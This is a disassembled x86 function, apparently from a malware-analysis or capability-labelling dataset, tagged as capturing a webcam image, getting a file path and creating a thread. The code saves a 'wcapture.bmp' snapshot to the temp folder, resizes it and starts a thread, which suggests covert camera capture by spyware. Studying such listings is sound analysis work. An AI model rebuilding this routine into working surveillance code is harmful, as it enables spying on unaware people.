Function at 0x40bd3c
Capabilities:
Capture webcam image
Create thread
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffcfc
mov eax, 0x441450
call fcn.0040eaa0
cmp dword [0x437c90], 0
jne 0x40bd69
xor eax, eax
mov edx, dword [ebp - 0x38]
mov dword fs:[0], edx
jmp 0x40c00a
push 0
call sub.USER32.DLL_IsWindow
test eax, eax
je 0x40bd84
push 0
push 0
push 0x42a
push 0
call sub.USER32.DLL_SendMessageA
push dword [0x44884c]
call sub.USER32.DLL_IsWindow
test eax, eax
je 0x40bda7
push 0
push 0
push 0x43d
push dword [0x44884c]
call sub.USER32.DLL_SendMessageA
lea ecx, [ebp - 0x21c]
push ecx
push 0x104
call sub.KERNEL32.DLL_GetTempPathA
mov dword [ebp - 0x3c], eax
push str.pac001_
lea eax, [ebp - 0x21c]
push eax
call fcn.0040e7b8
add esp, 8
push 0xc8
push 0
lea edx, [ebp - 0x118]
push edx
call fcn.0040e714
add esp, 0xc
lea ecx, [ebp - 0x21c]
push ecx
lea eax, [ebp - 0x118]
push eax
call fcn.0040e7b8
add esp, 8
push str.wcapture.bmp
lea edx, [ebp - 0x21c]
push edx
call fcn.0040e7b8
add esp, 8
push dword [0x44884c]
call sub.USER32.DLL_IsWindow
test eax, eax
je 0x40be37
lea ecx, [ebp - 0x21c]
push ecx
push 0
push 0x419
push dword [0x44884c]
call sub.USER32.DLL_SendMessageA
push 0
push 0
push 0
lea eax, [ebp - 0x22c]
push eax
call fcn.00403056
add esp, 0x10
push 0
lea edx, [ebp - 0x22c]
push edx
lea ecx, [ebp - 0x40]
push ecx
call sub.GDIPLUS.DLL_GdiplusStartup
push 0x10
call fcn.0040309b
pop ecx
mov dword [ebp - 4], eax
test eax, eax
je 0x40be99
mov word [ebp - 0x28], 0x14
push 0
lea edx, [ebp - 0x21c]
push edx
call fcn.00402b66
pop ecx
push eax
push dword [ebp - 4]
call fcn.004030a8
add esp, 0xc
mov word [ebp - 0x28], 8
mov ecx, dword [ebp - 4]
jmp 0x40be9c
mov ecx, dword [ebp - 4]
mov dword [ebp - 0x48], ecx
push 0
push 0
push 0xfa
push 0x190
push dword [ebp - 0x48]
call fcn.00403112
add esp, 0x14
mov dword [ebp - 0x4c], eax
lea eax, [ebp - 0x23c]
push eax
push 0x44026e
call fcn.00406ab0
add esp, 8
push 0x44032c
lea edx, [ebp - 0x118]
push edx
call fcn.0040e7b8
add esp, 8
push 0
lea eax, [ebp - 0x23c]
push eax
lea edx, [ebp - 0x118]
push edx
call fcn.00402b66
pop ecx
push eax
push dword [ebp - 0x4c]
call fcn.004031a7
add esp, 0x10
mov dword [ebp - 0x44], eax
mov ecx, dword [ebp - 0x4c]
mov dword [ebp - 0xc], ecx
cmp dword [ebp - 0xc], 0
je 0x40bf35
mov eax, dword [ebp - 0xc]
mov edx, dword [eax]
mov dword [ebp - 8], edx
mov word [ebp - 0x28], 0x2c
push 3
mov ecx, dword [ebp - 0xc]
push ecx
mov eax, dword [ecx]
call dword [eax]
add esp, 8
mov word [ebp - 0x28], 0x20
mov edx, dword [ebp - 0x48]
mov dword [ebp - 0x14], edx
cmp dword [ebp - 0x14], 0
je 0x40bf62
mov ecx, dword [ebp - 0x14]
mov eax, dword [ecx]
mov dword [ebp - 0x10], eax
mov word [ebp - 0x28], 0x44
push 3
mov edx, dword [ebp - 0x14]
push edx
mov ecx, dword [edx]
call dword [ecx]
add esp, 8
mov word [ebp - 0x28], 0x38
push 0xc8
push 0
lea eax, [ebp - 0x304]
push eax
call fcn.0040e714
add esp, 0xc
push str.34500
lea edx, [ebp - 0x304]
push edx
call fcn.0040e7b8
add esp, 8
push 0x44827c
lea ecx, [ebp - 0x304]
push ecx
call fcn.0040e7b8
add esp, 8
mov dword [0x437ca4], 0x86c4
push 0xc8
push 0
push 0x447a0c
call fcn.0040e714
add esp, 0xc
push 0x44032c
push 0x447a0c
call fcn.0040e7b8
add esp, 8
push 0x80c
lea eax, [ebp - 0x304]
push eax
push 0x44859c
call fcn.004063bc
add esp, 0xc
push 0
push 0
push 0
push 0x40a72c
push 0
push 0
call sub.KERNEL32.DLL_CreateThread
mov dword [ebp - 0x50], eax
mov edx, dword [ebp - 0x38]
mov dword fs:[0], edx
mov esp, ebp
pop ebp
ret